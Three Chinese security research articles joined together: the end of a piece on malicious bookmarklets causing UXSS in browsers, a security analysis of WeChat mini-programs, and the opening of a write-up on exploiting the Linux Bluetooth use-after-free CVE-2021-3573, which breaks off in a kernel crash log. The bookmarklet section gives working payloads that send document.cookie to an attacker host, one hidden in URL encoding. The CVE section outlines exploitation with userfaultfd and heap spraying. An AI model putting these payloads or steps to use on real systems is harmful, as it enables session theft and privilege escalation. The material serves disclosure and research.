例如导入如下书签文件，你可以把它保存为 bookmark.html，然后导入到浏览器中：
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
<DT><H3>xss Bookmarks</H3>
<DL><p>
<DT>
<DT><H3>xss_test</H3>
<DL><p>
</DL><p>
<DT><A HREF="javascript:document.write('hack by xisigr');">xss0</A>
<DT><A HREF="Javascript:alert(document.cookie);">xss1</A>
<DT><A HREF="javascript: var b=document.createElement('script');b.src='http:// attackip /get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout(%22location='http://www.google.com'%22,1000);">google</A>
</DL><p>
</DL>
在我们测试过程中，Chrome/Firefox/Safari/Opera 这四款浏览器可以直接导入 bookmark.html
小书签，导入的过程中没有任何提示。IE无法导入这样的小书签，导入时会提示错误而中断。
小书签的自身特性，决定了上面的这三个小书签，在用户点击的时候，可以直接在当前 DOM 下渲染执行。如果当前域是 gmail.com，那么就等同于是在
gmail.com 域中插入了一段 Javascript 脚本，并运行它。
于是，我们有了如下的攻击场景：
1. 攻击者在网上共享了一个书签文件 bookmarks.html（注入了恶意代码）
2. 用户看到书签不错，下载下来.
3. 用户把书签 bookmakes.html 文件导入到浏览器中。
4. 在已经打开任何域的情况下，打开书签，书签中的恶意 javascript 代码就会注入到当前域下。一个 UXSS 攻击就发生了。
##### 4.2 拖放恶意小书签
除了导入书签文件外，还可以使用拖放的方式来保存书签。
我们Safari浏览器中找到一个真实的小书签攻击案例。整个场景将在 MAC+IPad 环境下进行，为了体现攻击效果，我们在攻击场景中加入了设备之间的
SYNC，在这个攻击过程中，利用了一个 Safari 浏览器的拖放书签欺骗漏洞，来欺骗用户把恶意的小书签保存到收藏夹中，这个小书签保存后名称会显示
google.com，点击后也会到达 google.com，整个攻击过程非常隐蔽，很容易欺骗到用户。假设用户已经在 MAC、IPad 中打开了 Amazon
和 Gmail。那么当用户点击 google.com这个书签导航到 google.com 后，Amazon 和 Gmail 的 cookie
就被攻击者获取到了。
这个攻击场景如下图：
1. 用户拖放链接保存为书签。
2. 设备开启同步后，书签也会保存到其他设备上。
3. 当用户点击书签后，当前域的 cookie 会发送给攻击者。
第一步很关键，用户拖放链接保存为书签。这里会用到一个 Safari 浏览器拖放书签的欺骗攻击。先简单说下这个欺骗漏洞的原理，把如下代码保存为
attack.html。
<div draggable="true" ondragstart="event.dataTransfer.setData('text', 'http://baidu.com/#/google');"><a href=http://www.google.com>google.com</a></div>
用 Safari 打开后，链接会显示 google.com，用户点击后会指向 google.com。但用户拖放这个链接保存为书签时，拖放的内容会被替换为
http://baidu.com/#/google ，而保存到收藏夹后，由于 Safari 收藏夹的设计特点，会取 URL
中最后“/”后面的字符作为书签的名字，所以书签的名字将是 google。那么在整个保存为书签的过程中，用户看到的始终是
google，所以不会对此次拖放保存书签有怀疑。当用户点击书签链接时，由于链接中加入了 #，所以 URL 会忽略掉#后面的内容，直接转向到了
baidu.com。这可以看做是一次重定向攻击。
了解完书签拖放欺骗的原理后，我们就来看一个真正的攻击，这次拖放替换的内容不是一个 URL，而是一个 javascript:
开头的小书签。可以直接在当前域下注入任意 javascript 代码。一个 UXSS 产生了。
将如下代码保存为 attack.html 代码：
<div draggable="true" ondragstart="event.dataTransfer.setData('text', 'javascript:%76%61%72%20%62%3D%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%62%2E%73%72%63%3D%27%68%74%74%70%3A%2F%2F%78%69%73%69%67%72%2E%63%6F%6D%2F%32%30%31%35%74%65%73%74%2F%67%65%74%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%62%29%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%27%22%2C%31%30%30%30%29%3B/#/google');"><a href=http://www.google.com>google.com</a>
</div>
编码部分的代码为：
var b=document.createElement('script');b.src='http://xisigr.com/2015test/get.php?cookie='+escape(document.cookie);document.body.appendChild(b);setTimeout("location='http://www.google.com'",1000);
演示视频： <http://v.youku.com/v_show/id_XMTQyMzQ5NDg0MA==.html>
### 5 CSP的出现使小书签消亡
自从内容安全策略（Content Security Policy，简称
CSP）开始被提出，这些年逐渐被各大浏览器厂商支持和认可，也预示着小书签的历史使命走到了尽头。
大家知道 CSP 是为了防止 XSS
而设计，默认配置下不允许执行内联代码（`<script>`块内容，内联事件，内联样式），以及禁止执行`eval()`,`newFunction()`,`setTimeout([string],
…)`和`setInterval([string], …)`。
内联 Javascript 不能运行，不能加载外部资源，这些限制都使得小书签将不能正常工作。就此问题，Firefox 的 bugzilla
社区中曾有过白热化的讨论，<https://bugzilla.mozilla.org/show_bug.cgi?id=866522>，其中有一个对狂热的书签使用者说道：
> 作为一个“超级用户”，我非常依赖我的书签工具和 Greasemonkey 的用户脚本来执行各种功能和特性，在各种网站（加入了 CSP
> 防御），书签中的脚本无法使用，现在这个的问题，非常恼人，困然了我好几个月。安全性显然是重要的，但是，作为最终用户，我应该永远有控制和浏览体验的绝对权力，并且几乎能够做我想做的。
而另一篇文章，则直接写到Bookmarklets are Dead… <https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626>
在我们写这篇文章时，Firefox/Edge 浏览器中，小书签作为内联JS是不可以运行的，Chrome/Safari
浏览器中则是可以的。这是不是也可以认为小书签绕过了 CSP 呢？
### 6 建议
其实对于`Javascript:URLs`这样的用法，浏览器厂商也已经开始意识到它在特殊场景下所带来的安全风险。比如在之前的浏览器中，用户可以直接粘贴`Javascript:URLs`到地址栏并运行，但现在
Chrome /Firefox/Edge 浏览器会直接把`Javascript:`这个协议关键字去掉。
但对于小书签中可以直接执行 `Javascript:URLs`，浏览器厂商始终保持一个较为保守的态度，毕竟小书签已经伴随浏览器 20
多年。对此，我们对小书签的使用，提出几点安全建议，可以暂时缓解小书签带来的安全风险：
浏览器厂商方面：对小书签的内容和权限进行颗粒度更细的控制。比如从文件或其他浏览器导入小书签时，严格过滤小书签内容，对可疑小书签弹出风险提示。
安全厂商方面：可以推出检测小书签的浏览器插件等。对恶意小书签，弹出预警提示。
用户方面：不要随意导入第三方小书签，明确导入的小书签功能是什么。
### 7 厂商回复
**Chrome**
2015/04/13：向 Chrome 报告浏览器小书签安全问题 2015/04/13：Chrome
答复小书签上面的安全问题，他们在内部也讨论了很多次，目前来看小书签的实用性大于它带来的安全风险。 截至发稿时，并没有修复小书签可能涉及的安全风险。
**Firefox**
2015/04/13：向 Firefox 报告浏览器小书签安全问题 2015/04/14：Firefox
回复他们认为导入书签时，应该有个风险提示。还认为恶意书签的钓鱼、重定向攻击也是很严重。 截至发稿时，并没有修复小书签可能涉及的安全风险。
**Safari**
2015/04/13：向 Apple 报告 Safari 浏览器小书签安全问题 2015/04/21：向 Apple 报告 Safari 浏览器书签拖放欺骗
2015/12/02：向 Apple 提供详细漏洞视频 2015/12/25：询问 Apple 处理漏洞进度 2016/01/27：Apple
回复正在调查中 截至发稿时，没有任何回复，并没有修复小书签可能涉及的安全风险。
### 8 参考
[1] http://zh.wikipedia.org/zh-cn/小书签
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=866522
[3] https://medium.com/making-instapaper/bookmarklets-are-dead-d470d4bbb626
* * * | 社区文章 |
作者：白泽安全团队
原文地址：http://mp.weixin.qq.com/s?__biz=MzIyMjUyNTkyNQ==&mid=2247484180&idx=1&sn=29680b46f17106c10bcd8b80e143634e
本文中，大白将从小程序的框架、功能模块安全、账户使用安全方面进行剖析，希望能为各位泽友带来不一样的认知。
一、小程序框架概述
在第一部分小程序框架概述中，将介绍小程序抽象框架、小程序调用框架和小程序初始化流程。下面让大白来逐一介绍。
1、小程序抽象框架
1.1视图层
包含WXML、WXSS和页面视图组件。
WXML是一种类似XML格式的语言，支持数据绑定、条件渲染、列表渲染、自定义模板、事件回调和外部引用；
WXSS是一种类似CSS格式的语言，用于描述WXML的组件样式，决定WXML中的组件如何显示；
组件是框架提供的一系列基础模块，是视图层的基本组成单元，包含表单组件、导航、地图、媒体组件等常用元素，如图1说明当前小程序支持的的视图组件；
图1 小程序视图组件
1.2逻辑接口
包含小程序注册、页面注册和功能API。程序注册代码位于app.js，页面框架注册位于app.json，如图2所示为官方示例小程序的app.js和app.json。功能API当前包含网络请求功能、文件处理功能、数据存储功能、微信的开放接口功能等，详见微信官方说明，如图3所示。
图2 小程序注册代码示例
图3 小程序功能API示例
1.3 原生实现层
承载小程序依赖的具体操作，由微信APP支撑实现，包括tbs内核、JSAPI框架、初始化小程序配置、功能接口实现等，实现代码主要位于com.tencent.mm.plugin.appbrand包，关联功能有微信平台原有的数据存储能力、二维码能力、网络请求能力、支付能力等。
2、小程序调用框架
图4 微信小程序调用框架简图
上图主要说明小程序功能逻辑框架流程，由顶层的小程序实现代码（类似js），到微信底层支撑实现模块的调用流程，通过微信JSAPI框架支撑页面到本地实现的桥接调用。小程序缓存数据存放在Storage中，对应文件为DB数据库；小程序文件操作通过Hash机制进行映射，并存储在外部存储空间。
承载小程序展示的组件有.plugin.appbrand.ui.AppBrandUI、.plugin.appbrand.ui.AppBrandUI1、.plugin.appbrand.ui.AppBrandUI2、.plugin.appbrand.ui.AppBrandUI3、.plugin.appbrand.ui.AppBrandUI4共五个组件，五个组件实现逻辑相同，AppBrandUI1-AppBrandUI4继承自AppBrandUI，图5为每个承载小程序的Android组件定义。
图5 承载每个小程序展示的组件定义
支持最多同时有五个小程序在加载运行状态，每个小程序使用独立进程运行，如果当前开启的小程序已位于缓存进程中，则无需重新加载直接开启（速度快），否则重新加载并替换（如果已有五个缓存进程存在）存在时间最久的缓存进程，若当前未满五个缓存进程，则从未用进程中随机取得一个使用。下图展示微信APP同时已开启过五个小程序的对应进程。
图6 小程序的进程缓存示意图
3、小程序初始化流程
小程序初始化流程可分为开发者后台控制关键配置和安全的配置更新流程。
3.1开发者后台控制关键配置
小程序后台控制的配置信息主要包括小程序名称、图标、最大webview深度、最大请求数、请求合法域名列表、下载合法域名列表和上传合法域名列表、socket合法域名列表以及APP包的基本信息等，动态加载的配置信息相关代码详见【附录1】。
3.2安全的配置更新流程
启动小程序检查是否需从服务端更新最新配置，如果需更新则下载最新配置到本地APP。在初始化阶段完成小程序的关键属性更新和配置，此部分属性配置完全由后端配置控制，在更新传输和本地存储被恶意篡改的可能性极低，提取配置信息的实现代码详见【附录2】。
综上内容，大白为泽友们介绍了小程序的框架部分，接下来，大白要讲的就是小程序功能模块安全分析了，来围观哦！
二、功能模块安全分析
功能模块安全分析大白将分为6小部分介绍，分别是：
1、网络传输安全
2、数据存储安全
3、文件存储安全
4、扫码二维码安全
5、微信开放接口安全
6、小程序钓鱼风险
7、泄露数据到微信隐患
下面我们先看一下网络传输安全。
2.1网络传输安全
支持发起通用请求、文件上传下载、WebSocket通讯机制。
Https校验安全
通用request网络请求仅支持采用https，处理请求的接口位于com.tencent.mm.plugin.appbrand.g.c中，包含url校验、域名校验、发起请求和处理响应结果。图7图8分别为官方正式DEMO和某银行APP请求包示意图。
图7 官方DEMO request功能请求包
图8 某银行APP request功能请求包
Https校验采用类似浏览器的策略，通过系统原生的URL.openConnection()方式请求，证书校验的策略为校验公钥证书的根证书是否在合法CA列表凭证中。因此自签名证书无法使用；针对特定终端设备，即是校验公钥证书的根证书是否在受信任的凭据中，在设备被恶意安装代理根证书的前提下，存在被中间人攻击的风险。Request网络请求实现代码详见【附录3】。
通过域名控制可以访问的url
由后台配置小程序支持的域名（见1.3），仅可访问已配置域名的url，校验过程会将配置的域名先下载到本地，然后每次请求时本地做域名检查通过后才发起。域名检查代码实现详见【附录4】，图9展示了域名不匹配进行错误请求的示例。
图9 小程序域名控制检查
此外，对于通用request请求平台会进行请求超时控制（当前应该是5s），当请求超过5s即会被中断（文件上传操作也有超时中断控制），如下图所示超时后请求将被抛掉。
图10 请求超时中断控制
网络下载
同样仅支持从含有已配置域名的url下载资源，不是走http/https协议。下载成功后临时存放，通过自定义协议wxfile进行访问，映射到SD卡上目录/sdcard/tencent/MicroMsg/wxafiles/wx
_id/tmp_ [hash_value]。
图11 网络下载文件示意图
文件上传
上传至小程序合法域名下的服务器上，并保存临时文件在SD卡的文件存储区域/sdcard/tencent/MicroMsg/wxafiles/wx
_id/tmp_ [hash_value]。
图12 文件上传示意图
小程序外链url规范
图13 小程序不允许外链url规定说明
小程序在微信的生态下运行，不开放给个人使用（需要企业）。在小程序中不允许调整到外部网站，也不允许放链接。同时微信在小程序发布前会对小程序进行审核。
2.2数据存储安全
以（key，value）形式存放在本地缓存，将小程序需要存储的key/value数据直接存储到Storage
DB缓存，小程序进行数据保护需要自行做加密处理。数据存储在本地DB，微信APP会对DB数据整体做本地加密保护，所以小程序本地存储数据的安全性依赖于微信数据库加密方案的安全，策略与EnMicroMsg.db类似，如下图所示。
图14 本地数据存储示意
2.3 文件存储安全
文件保存在SD卡/sdcard/tencent/MicroMsg/wxafiles/wx_id/目录下，通过wxfile://协议指向SD卡目录下的文件。
存放SD卡的文件有做完整性校验，无法被篡改。首先，最终存储的文件名是：对称加密（文件流内容Alder32校验和|原始文件名）生成的，最终文件名和文件内容会通过自校验判断完整性；其次，本地缓存是通过HASH映射查找文件。所以即使能破解文件名和文件内容，绕过文件自身签名校验，篡改为攻击者的伪造文件，小程序APP也无法映射到该伪造文件进行使用。
2.4 扫码二维码安全
扫码功能（wx.scanCode）依赖微信APP的原生的扫码功能；生成小程序特定页面的直达二维码，依赖于ACCESS_TOKEN，而ACCESS_TOKEN是通过小程序（公众号）私有的APPID和appsecret请求得到，攻击者无法获知到该信息伪造生成二维码。
2.5 微信开放接口安全
用户信息获取，包含以下信息：
接口返回的明文数据会进行签名校验，需要依赖登录session_key；接口返回的敏感数据会通过密文返回，解密算法依赖登录session_key。攻击者无法获知用户的session_key进行破解，窃取用户数据。
此外分享、客服消息、模板消息中输入的内容仅会以文本形式输出；模板消息会将数据通过https传输到服务器，而后推送到客户微信服务通知；微信支付功能继承微信平台原有的功能，安全性较为可靠。
开放平台大部分功能会先通过wx.login获得code；然后使用该code换取openid；以此openid进行既定的微信功能操作，比如发送模板消息推送、发起微信支付等。
图15 开放平台发布模板请求示意图
2.6 小程序钓鱼风险
微信小程序以唯一appid标识身份，不同小程序拥有不同的appid。如果恶意开发者伪造流行的小程序APP，如美团、大众点评，制作一个仿冒的微信小程序，且使用不同的appid，有可能绕过微信的审核流程发布到市场。小白用户如无辨识能力，极可能被钓鱼受骗。但由于小程序无法嵌入url跳转，同时有访问域名的控制，使得钓鱼风险在一定程度上减轻。小程序钓鱼风险依赖于微信平台的发布审核、监管控制。
2.7泄露数据到微信隐患
微信小程序的网络请求通过微信APP实现转发，微信平台可能可以获取到小程序的所有网络请求和存储数据，因此对于小程序业务敏感的数据，建议由小程序再做一层保护；小程序的操作轨迹日志会加密传送到腾讯TBS后台，如下图所示。
图16 操作轨迹日志监控上传
三、小程序账户使用安全
通过目前使用体验，发现当前存在三种账户形式：
方式一：通过wx.getUserInfo获取的微信用户信息，以openid标识一个用户应用到小程序；
方式二：通过公众平台appid+appsecret+code，换取session_key/openid，并生成小程序第三方session，在小程序的服务器维护第三方session和微信session_key/openid的关联；客户端使用第三方session进行请求；
方式三：通过小程序内部自实现的登录模块，如手机号+动态验证码登录
方式一是一种弱账户体系设计，小程序本身无法获得微信用户的标识信息，如手机号、身份证或银行卡，依赖于微信开放平台接口可以提供的用户信息，详见2.5节，一般会在页面上展示微信用户昵称和头像，如下图17所示。
图17 使用微信信息登录
方式二和方式三是强账户体系，方式二类似微信公众号的授权机制，通过小程序获得的code和微信用户基本信息，到第三方服务器获取访问的token（第三方session），第三方服务器维护用户使用的session与微信session_key/openid的关联关系。图18为微信官方提供的登录实现时序图，图19为某餐饮小程序授权登录的请求过程。
图18 官方提供的授权登录实现方案
图19 某餐饮小程序授权登录过程
以上第一个请求通过code和微信基本用户信息到第三方服务器换取token，而后的请求通过token请求用户个人数据，如团购代金券使用历史记录。方式二不能将微信公众平台的appsecret或者session_key（属于敏感信息）传递到客户端，否则可能导致安全攻击。方式三属于小程序自身实现方式，依赖自身实现的安全性，与微信平台无关。
四、总结
说了这么多，大白也该总结一下了，大致如下8点：
1、框架上继承了微信成熟的JSAPI框架和底层的TBS浏览器内核；
2、小程序的关键信息完全由后台控制进行配置，如可访问的域名信息；
3、通用网络传输使用Https，并对访问域名进行校验控制，无法抵御攻击者在本地安装代理证书实施中间人攻击的威胁；
4、本地数据存储采用（KEY，VALUE）形式存放在DB，数据的保护继承了微信的数据库加密防护策略；
5、本地文件存储采用HASH映射机制进行文件定位，文件存储在外部存储，本身通过自定义算法实现完整性校验；
6、存在仿冒钓鱼小程序的可能，依靠于微信平台的审核监管能力；
7、针对特定小程序，由于是在微信平台生态中运行，小程序自身仍需对敏感数据进行安全防护；
8、小程序登录体系可以依赖微信接口和公众号平台，也可以由小程序自行实现。前者需要根据微信平台的安全规范实施，后者则由小程序自行控制安全性。
五、附录
下面大白补充一下上述文中4个附录内容：
附录1：小程序初始化后台配置信息
附录2：更新并提取后台配置信息逻辑
附录3：request网络请求实现
附录4：网络请求域名校验
本次小程序的安全策略解析分享完结，本文由白泽原创，欢迎各位转发分享～ | 社区文章 |
# 蓝色华容道（CVE-2021-3573）以及其补丁的故事
##### 译文声明
本文是翻译文章，文章原作者 seebug，文章来源：paper.seebug.org
原文地址：<https://paper.seebug.org/1653/>
译文仅供参考，具体内容表达以及含义原文为准。
**转载** ：<https://paper.seebug.org/1653/>
**作者：** f0rm2l1n@浙江大学AAA战队，BlockSec team
最近一段时间，我们团队针对Linux内核的蓝牙栈代码进行了漏洞挖掘。如安全维护者Greg所感慨的，Linux的蓝牙实现是buggy的
> seems to be a busy time with people hammering on the bluetooth stack these
> days…
非常幸运，我们找到了一些品相不错的漏洞，其中有些可以稳定的造成任意代码执行以提升攻击者权限，在本文中，我将介绍其中特别的一位: 蓝色华容道
(CVE-2021-3573)
> 对于临界区的代码，虽然使用了锁从而看起来很安全，但是错误的锁搭配，就像派关羽去守华容道那样，最终只得不达所期
## 概述
CVE-2021-3573是一个在蓝牙控制器卸载过程中，由条件竞争 (race condition) 带来的释放后使用漏洞 (use-after-free)。具有 _CAP_NET_ADMIN_
权限的本地攻击者可以在用户态伪造一个假的控制器，并主动地卸载该控制器以触发这个条件竞争。基于这个UAF，攻击者可以巧妙利用堆喷去覆盖恶意数据，以进一步劫持控制流，完成权限提升。
## 漏洞细节
既然是 race 造成的 UAF，那我们肯定要研究一条 USING 的线程以及一条 FREEING 的线程。不过在此之前，我们首先看一个系统调用实现，即蓝牙
HCI 套接字的绑定过程，函数 `hci_sock_bind()`。
> 注: 所有代码片段以内核 v5.12.0 作为参考
static int hci_sock_bind(struct socket *sock, struct sockaddr *addr,
int addr_len)
{
...
switch (haddr.hci_channel) {
case HCI_CHANNEL_RAW:
if (hci_pi(sk)->hdev) {
err = -EALREADY;
goto done;
}
if (haddr.hci_dev != HCI_DEV_NONE) {
hdev = hci_dev_get(haddr.hci_dev);
if (!hdev) {
err = -ENODEV;
goto done;
}
atomic_inc(&hdev->promisc);
}
...
hci_pi(sk)->hdev = hdev;
...
}
简单来说，函数 `hci_sock_bind()` 将通过用户传递的参数 `haddr` 中关键的 `hci_dev`
索引去寻找特定标号的控制器设备，并通过代码 `hci_pi(sk)->hdev = hdev;`
在该设备（即对象`hdev`）与当前套接字之间建立联系。当这个 `bind` 系统调用完成之后，这个套接字就可以被称为一个绑定过的套接字了（bound
socket）。
可以看到，这里取得 `hdev` 是通过 `hci_dev_get` 函数，换言之，`hdev` 通过引用计数进行维护。
### USING 线程
一个完成绑定的套接字是允许调用 `hci_sock_bound_ioctl()` 函数中的命令的，见如下代码
/* Ioctls that require bound socket */
static int hci_sock_bound_ioctl(struct sock *sk, unsigned int cmd,
unsigned long arg)
{
struct hci_dev *hdev = hci_pi(sk)->hdev;
if (!hdev)
return -EBADFD;
...
switch (cmd) {
...
case HCIGETCONNINFO:
return hci_get_conn_info(hdev, (void __user *)arg);
case HCIGETAUTHINFO:
return hci_get_auth_info(hdev, (void __user *)arg);
case HCIBLOCKADDR:
if (!capable(CAP_NET_ADMIN))
return -EPERM;
return hci_sock_blacklist_add(hdev, (void __user *)arg);
case HCIUNBLOCKADDR:
if (!capable(CAP_NET_ADMIN))
return -EPERM;
return hci_sock_blacklist_del(hdev, (void __user *)arg);
return -ENOIOCTLCMD;
}
可以看到函数里提供了四个有效的额外命令，分别和访问当前连接的信息、当前连接的认证，以及设备的黑名单相关。这四个命令分别由四个额外的函数来响应
* `hci_get_conn_info()`
* `hci_get_auth_info()`
* `hci_sock_blacklist_add()`
* `hci_sock_blacklist_del()`
响应函数实际上都最终会去操作 `hdev` 对象中维护的链表，举个例子，我们可以看黑名单添加函数 `hci_sock_blacklist_add()`
static int hci_sock_blacklist_add(struct hci_dev *hdev, void __user *arg)
{
bdaddr_t bdaddr;
int err;
if (copy_from_user(&bdaddr, arg, sizeof(bdaddr)))
return -EFAULT;
hci_dev_lock(hdev);
err = hci_bdaddr_list_add(&hdev->blacklist, &bdaddr, BDADDR_BREDR);
hci_dev_unlock(hdev);
return err;
}
代码逻辑很简单，其通过 `copy_from_usr` 去获取用户态提供的一个蓝牙地址，随后会遍历 `hdev->blacklist`
来决定是否要将该地址插入链表。其他三个函数类似，他们都使用到了 `hdev` 上相关的数据成员。
### FREEING 线程
正常情况下，一个完成绑定的套接字应该通过如下的代码片段来解除其和下层设备 `hdev` 之间的联系。
static int hci_sock_release(struct socket *sock)
{
hdev = hci_pi(sk)->hdev;
if (hdev) {
...
atomic_dec(&hdev->promisc);
hci_dev_put(hdev);
}
...
}
可以看到，这里的操作和 `bind` 中的操作是非常对称的，看起来也相当的安全。
可是，这里并非唯一一个能解除联系的代码片段。试想现在电脑上运行的蓝牙控制器（就比如市面上买的USB的那种）突然被拔掉，这个时候这些绑定到该设备的套接字怎么办？理论上，下层的代码应该要通知套接字去主动放弃该联系。
负责传达的代码就是 `hci_sock_dev_event()`，当控制器被移除时，内核会调用到 `hci_unregister_dev()`
函数，该函数会以 `HCI_DEV_UNREG` 的形式去调用 `hci_sock_dev_event()`，见如下代码。
void hci_sock_dev_event(struct hci_dev *hdev, int event)
{
...
if (event == HCI_DEV_UNREG) {
struct sock *sk;
/* Detach sockets from device */
read_lock(&hci_sk_list.lock);
sk_for_each(sk, &hci_sk_list.head) {
bh_lock_sock_nested(sk);
if (hci_pi(sk)->hdev == hdev) {
hci_pi(sk)->hdev = NULL; // {1}
sk->sk_err = EPIPE;
sk->sk_state = BT_OPEN;
sk->sk_state_change(sk);
hci_dev_put(hdev); // {2}
}
bh_unlock_sock(sk);
}
read_unlock(&hci_sk_list.lock);
}
}
可以见到，当事件是 `HCI_DEV_UNREG` 时，该函数会遍历全局的套接字链表 `hci_sk_list`
并寻找绑定到了正要移除设备的那些套接字（hci_pi(sk)->hdev ==
hdev）。随后，标记为`{1}`的代码行会更新套接字结构体并通过`{2}`代码放弃 `hdev` 的引用。
`hdev` 对象的最后引用会在驱动代码调用 `hci_free_dev()` 时候减少到0，并由 `bt_host_release` 完成对其内存的回收。
这条不那么常规的 FREEING 线程是很不安全的，事实上，它可以与 USING 线程形成如下的条件竞争。
读者可以访问当时OSS上的漏洞描述 (<https://www.openwall.com/lists/oss-security/2021/06/08/2>)
去查看我准备的POC样例以及UAF KASan捕获时候的栈报告。
## 漏洞利用
可能已经有读者开始发牢骚了：条件竞争，哼，什么玩意儿。条件竞争漏洞可以说是漏洞里面品相最差的了，即使这一个能构成UAF，但不能稳定触发便是绝对软肋。
好吧，很显然有牢骚的读者并没有去OSS上阅读漏洞描述，实际上，这个条件竞争可以被100%稳定的触发。
如果读者有过CTF经验，那么再仔细读一下代码的话一定可以发现个钟奥妙
static int hci_sock_blacklist_add(struct hci_dev *hdev, void __user *arg)
{
bdaddr_t bdaddr;
int err;
if (copy_from_user(&bdaddr, arg, sizeof(bdaddr))) // {3}
return -EFAULT;
可以看到`{3}`标记的代码是使用了`copy_from_user()`的，那么，只要依靠
[userfaultfd](https://man7.org/linux/man-pages/man2/userfaultfd.2.html)
黑魔法，我们可以随心所欲的掌控 USING 的线程挂起时间。
OK，在可以稳定触发漏洞的基础上，让我们来试着做更多事情吧
> 实话实说，这是我的首个 0 day 利用，写的过程可以说是感慨万千，不过整体而言，跟做一个CTF内核题的区别不大
> 另外，如下的利用中使用的USING
> thread并非是上文讨论的`hci_sock_bound_ioctl`而是`hci_sock_sendmsg`，其同样也可以用userfaultfd辅助，就不赘述了
### Leaking
想要打穿内核，放到最前面的一个任务便是绕过随机化KASLR，在这一关卡上我是摔了跟斗的，因为当时的我斗气一定想要用另外一个自己发现的[OOB
read](https://marc.info/?l=linux-bluetooth&m=162174982523451&w=2)漏洞来泄露指针。
在错过一次过后（主要是泄露的成功率比较低）便还是拨乱反正，就用这一个洞来同时完成泄露以及内存破坏。原理也很简单：我只要让 USING 线程触发到一个
WARNING 或者碰到内核不会挂掉的页错误即可。
如下是一个可用的NPD造成的泄露。
[ 17.793908] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 17.794222] #PF: supervisor read access in kernel mode
[ 17.794405] #PF: error_code(0x0000) - not-present page
[ 17.794637] PGD 0 P4D 0
[ 17.794816] Oops: 0000 [#1] SMP NOPTI
[ 17.795043] CPU: 0 PID: 119 Comm: exploit Not tainted 5.12.1 #18
[ 17.795217] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
[ 17.795543] RIP: 0010:__queue_work+0xb2/0x3b0
[ 17.795728] Code: 8b 03 eb 2f 83 7c 24 04 40 0f 84 ab 01 00 00 49 63 c4 49 8b 9d 08 01 00 00 49 03 1c c6 4c 89 ff e8 73 fb ff ff 48 85 c0 74 d5 <48> 39 030
[ 17.796191] RSP: 0018:ffffac4d8021fc20 EFLAGS: 00000086
[ 17.796329] RAX: ffff9db3013af400 RBX: 0000000000000000 RCX: 0000000000000000
[ 17.796545] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffffbdc4cf10
[ 17.796769] RBP: 000000000000000d R08: ffff9db301400040 R09: ffff9db301400000
[ 17.796926] R10: 0000000000000000 R11: ffffffffbdc4cf18 R12: 0000000000000000
[ 17.797109] R13: ffff9db3021b4c00 R14: ffffffffbdb106a0 R15: ffff9db302260860
[ 17.797328] FS: 00007fa9edf9d740(0000) GS:ffff9db33ec00000(0000) knlGS:0000000000000000
[ 17.797541] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 17.797699] CR2: 0000000000000000 CR3: 000000000225c000 CR4: 00000000001006f0
[ 17.797939] Call Trace:
[ 17.798694] queue_work_on+0x1b/0x30
[ 17.798865] hci_sock_sendmsg+0x3bc/0x960
[ 17.798973] sock_sendmsg+0x56/0x60
[ 17.799081] sock_write_iter+0x92/0xf0
[ 17.799170] do_iter_readv_writev+0x145/0x1c0
[ 17.799303] do_iter_write+0x7b/0x1a0
[ 17.799386] vfs_writev+0x93/0x160
[ 17.799527] ? hci_sock_bind+0xbe/0x650
[ 17.799638] ? __sys_bind+0x8f/0xe0
[ 17.799725] ? do_writev+0x53/0x120
[ 17.799804] do_writev+0x53/0x120
[ 17.799882] do_syscall_64+0x33/0x40
[ 17.799969] entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 17.800186] RIP: 0033:0x7fa9ee08d35d
[ 17.800405] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 ca 26 f9 ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 14 00 00 00 0f 05 <48> 3d 008
[ 17.800798] RSP: 002b:00007ffe3c870e00 EFLAGS: 00000293 ORIG_RAX: 0000000000000014
[ 17.800969] RAX: ffffffffffffffda RBX: 0000556f50a02f30 RCX: 00007fa9ee08d35d
[ 17.801118] RDX: 0000000000000003 RSI: 00007ffe3c870ea0 RDI: 0000000000000005
[ 17.801267] RBP: 00007ffe3c870ee0 R08: 0000000000000000 R09: 00007fa9edf87700
[ 17.801413] R10: 00007fa9edf879d0 R11: 0000000000000293 R12: 0000556f50a00fe0
[ 17.801560] R13: 00007ffe3c870ff0 R14: 0000000000000000 R15: 0000000000000000
[ 17.801769] Modules linked in:
[ 17.801928] CR2: 0000000000000000
[ 17.802233] ---[ end trace 2bbc14e693eb3d8f ]--- [ 17.802373] RIP: 0010:__queue_work+0xb2/0x3b0
[ 17.802492] Code: 8b 03 eb 2f 83 7c 24 04 40 0f 84 ab 01 00 00 49 63 c4 49 8b 9d 08 01 00 00 49 03 1c c6 4c 89 ff e8 73 fb ff ff 48 85 c0 74 d5 <48> 39 030
[ 17.802874] RSP: 0018:ffffac4d8021fc20 EFLAGS: 00000086
[ 17.803019] RAX: ffff9db3013af400 RBX: 0000000000000000 RCX: 0000000000000000
[ 17.803166] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffffbdc4cf10
[ 17.803313] RBP: 000000000000000d R08: ffff9db301400040 R09: ffff9db301400000
[ 17.803458] R10: 0000000000000000 R11: ffffffffbdc4cf18 R12: 0000000000000000
[ 17.803605] R13: ffff9db3021b4c00 R14: ffffffffbdb106a0 R15: ffff9db302260860
